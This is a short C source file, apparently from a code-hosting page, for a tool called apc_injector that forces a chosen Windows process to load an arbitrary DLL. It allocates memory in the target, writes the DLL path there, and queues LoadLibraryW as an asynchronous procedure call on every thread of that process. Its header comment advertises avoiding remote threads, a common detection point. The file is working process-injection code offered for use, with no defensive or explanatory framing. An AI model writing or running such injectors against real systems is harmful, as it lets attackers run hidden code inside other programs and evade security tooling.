48 lines
1.9 KiB
C
48 lines
1.9 KiB
C
/* apc_injector: queue LoadLibraryW(dll) as a user APC on existing threads of
|
|
* the target. No remote thread, no loader DLL in the target.
|
|
* usage: apc_injector.exe <pid> <dll path (ascii)>
|
|
*/
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <tlhelp32.h>
|
|
|
|
int main(int argc, char **argv) {
|
|
if (argc < 3) { printf("usage: apc_injector pid dllpath\n"); return 1; }
|
|
DWORD pid = (DWORD)atoi(argv[1]);
|
|
|
|
wchar_t wpath[512];
|
|
int wl = MultiByteToWideChar(CP_ACP, 0, argv[2], -1, wpath, 512);
|
|
if (!wl) { printf("path conv fail\n"); return 1; }
|
|
|
|
HANDLE pr = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, FALSE, pid);
|
|
if (!pr) { printf("OpenProcess fail GLE=%lu\n", GetLastError()); return 1; }
|
|
|
|
SIZE_T sz = (SIZE_T)wl * sizeof(wchar_t);
|
|
void *mem = VirtualAllocEx(pr, NULL, sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
if (!mem) { printf("VirtualAllocEx fail GLE=%lu\n", GetLastError()); return 1; }
|
|
if (!WriteProcessMemory(pr, mem, wpath, sz, NULL)) { printf("WPM fail GLE=%lu\n", GetLastError()); return 1; }
|
|
|
|
HMODULE k32 = GetModuleHandleW(L"kernel32.dll");
|
|
void *lla = (void *)GetProcAddress(k32, "LoadLibraryW");
|
|
|
|
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
|
if (snap == INVALID_HANDLE_VALUE) { printf("snap fail\n"); return 1; }
|
|
|
|
THREADENTRY32 te; te.dwSize = sizeof te;
|
|
int queued = 0, failed = 0;
|
|
if (Thread32First(snap, &te)) {
|
|
do {
|
|
if (te.th32OwnerProcessID != pid) continue;
|
|
HANDLE th = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
|
|
if (!th) { failed++; continue; }
|
|
if (QueueUserAPC((PAPCFUNC)lla, th, (ULONG_PTR)mem)) queued++;
|
|
else failed++;
|
|
CloseHandle(th);
|
|
} while (Thread32Next(snap, &te));
|
|
}
|
|
CloseHandle(snap);
|
|
CloseHandle(pr);
|
|
printf("APC queued to %d threads (%d failed); mem=%p\n", queued, failed, mem);
|
|
return 0;
|
|
}
|